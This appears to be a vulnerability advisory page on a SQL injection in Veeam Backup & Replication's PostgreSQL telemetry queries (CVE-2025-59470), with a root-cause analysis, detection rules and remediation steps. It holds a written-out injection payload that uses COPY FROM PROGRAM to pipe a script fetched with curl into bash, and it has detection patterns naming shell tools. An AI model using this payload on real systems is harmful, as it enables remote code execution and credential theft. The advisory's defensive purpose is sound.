Skip to content
Hermes Codex

CVE-2025-59470: PostgreSQL Remote Code Execution via Operator Role in Veeam Backup & Replication

HERMES

HERMES THREAT SCORE & DATABASE CONTROL PLANE RISK

Target: Veeam Backup & Replication PostgreSQL Database Instance
Confidence: 98%
92 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 17 / 20
Weaponization 19 / 20
Exposure 17 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

Hermes rates CVE-2025-59470 at 92 (CRITICAL). The flaw enables an account with restricted operator privileges (Backup Operator or Tape Operator) to escape application-level authorization and issue arbitrary queries under the postgres service context. This grants full access to stored backup encryption keys, virtual infrastructure credentials, and host-level command execution via PostgreSQL extension routines.

🕸️ Connected Knowledge Graph & Provenance

CVE-2025-59470: PostgreSQL Remote Code Execution via Operator Role in Veeam Backup & ReplicationVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTVeeam Backup & Replication
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”

Supporting Verified Evidence:

1. Metadata & Attack Surface

Section titled “1. Metadata & Attack Surface”
MetricTechnical SpecificationOperational Impact
CVE IdentifierCVE-2025-59470Official NVD / MITRE tracking record
Vendor AdvisoryVeeam KB4716Cumulative security update for VBR v13
Affected SubsystemVBR PostgreSQL Query EngineData persistence and reporting layer
Affected ReleasesVBR 13.x $\le$ 13.0.1.180PostgreSQL-backed installations
Patched ReleaseVeeam Backup & Replication 13.0.1.1071Recommended upgrade
Vulnerability ClassSecond-Order / Stacked SQL InjectionApplication privilege escalation
Prerequisite AccessBackup Operator or Tape OperatorLow-privileged authenticated role
Resulting Accesspostgres Service AccountCredential extraction & host execution

2. Technical Root Cause Analysis

Section titled “2. Technical Root Cause Analysis”

With the architectural transition from Microsoft SQL Server to PostgreSQL as the primary storage engine in VBR v12/v13, telemetry query routines were rewritten.

CVE-2025-59470 SQL Injection Execution Flow:


  ┌────────────────────────────────────────────────────────┐
  │ Authenticated Operator (Backup / Tape Operator)        │
  └───────────────────────────┬────────────────────────────┘
                              │ Telemetry API Query
                              │ interval = "1 hour'; COPY cmd FROM PROGRAM '...';--"
                              ▼
  ┌────────────────────────────────────────────────────────┐
  │ Veeam Backup Web API Service                           │
  │   • Unescaped string concatenation                     │
  │   • String.Format("SELECT ... WHERE ts > NOW() - '{0}'", interval)
  └───────────────────────────┬────────────────────────────┘
                              │ Dispatches stacked query
                              ▼
  ┌────────────────────────────────────────────────────────┐
  │ PostgreSQL Database Engine                             │
  │   • Executes OS command via PROGRAM directive          │
  │   • Establishes C2 reverse shell or dumps credentials  │
  └────────────────────────────────────────────────────────┘

Unsanitized SQL Concatenation

Section titled “Unsanitized SQL Concatenation”

The vulnerability resides within the session metrics calculation logic. While job GUIDs were strictly type-checked, filter time windows were ingested as raw strings:

// Conceptual decompiled snippet:
string query = string.Format(
    "SELECT job_id, duration, status FROM backup_sessions WHERE start_time >= NOW() - INTERVAL '{0}' ORDER BY {1}",
    userProvidedInterval,
    userProvidedOrder
);
using (var cmd = new NpgsqlCommand(query, dbConnection)) {
    cmd.ExecuteReader();
}

By providing a payload such as:

1 day'; DROP TABLE temp_sessions; CREATE TEMP TABLE exp(out text); COPY exp FROM PROGRAM 'curl http://10.10.14.5/rev.sh | bash';--

PostgreSQL executes the COPY ... FROM PROGRAM clause, invoking a shell process under the database service user account.

3. Threat Hunting & Detection

Section titled “3. Threat Hunting & Detection”

Sigma Rule: Veeam PostgreSQL SQL Injection Attempt

Section titled “Sigma Rule: Veeam PostgreSQL SQL Injection Attempt”
title: Veeam PostgreSQL SQL Injection via Interval Parameter
id: cve-2025-59470-veeam-sqli
status: experimental
description: Detects stacked SQL injection attempts targeting PostgreSQL telemetry queries in Veeam Backup & Replication
references:
    - https://www.veeam.com/kb4716
logsource:
    category: application
    product: postgresql
detection:
    selection:
        message|contains:
            - "INTERVAL '"
            - "FROM PROGRAM"
            - "pg_read_file"
        message|contains:
            - "'; "
            - "';"
            - "--"
    condition: selection
falsepositives:
    - Legitimate administrative maintenance scripts
level: critical

Splunk Hunting Query

Section titled “Splunk Hunting Query”
index=endpoint (process_name="postgres.exe" OR process_name="postgres")
child_process IN ("cmd.exe", "powershell.exe", "bash", "sh", "curl", "wget")
| table _time host process_name child_process CommandLine

4. Remediation & Hardening

Section titled “4. Remediation & Hardening”
  1. Deploy KB4716 Immediately: Upgrade all installations to 13.0.1.1071 or later.
  2. Review RBAC Assignments: Restrict the Backup Operator and Tape Operator roles to verified administrators.
  3. Database Sandboxing: Ensure the PostgreSQL service account operates with the minimum required privileges and cannot traverse outside database storage boundaries.

5. References

Section titled “5. References”